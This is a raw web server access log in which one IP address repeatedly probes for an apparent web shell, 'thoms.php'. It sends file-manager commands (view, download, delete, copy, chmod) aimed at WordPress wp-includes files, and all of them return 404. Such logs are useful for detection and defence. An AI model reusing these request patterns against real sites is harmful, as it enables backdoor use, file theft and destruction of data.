45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?chmod=theme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?chmod=view-transitions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?chmod=admin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?del=fonts&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?dl=ms-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?del=revision.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fabilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fabilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?chmod=interactivity-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?del=locale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=locale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?dl=atomlib.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?dl=feed-rss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:45 -0400] "GET /thoms.php?del=wp-db.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?dl=class-wp-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?dl=style-engine.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?del=class-wp-walker.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?del=deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?del=l10n.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:46 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?dl=canonical.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?del=rss-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?chmod=session.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fai-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fai-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?dl=category.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=category.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?del=media.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?chmod=post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?del=widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?del=class-feed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?dl=error-protection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?chmod=json-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?del=class-wp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?chmod=deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
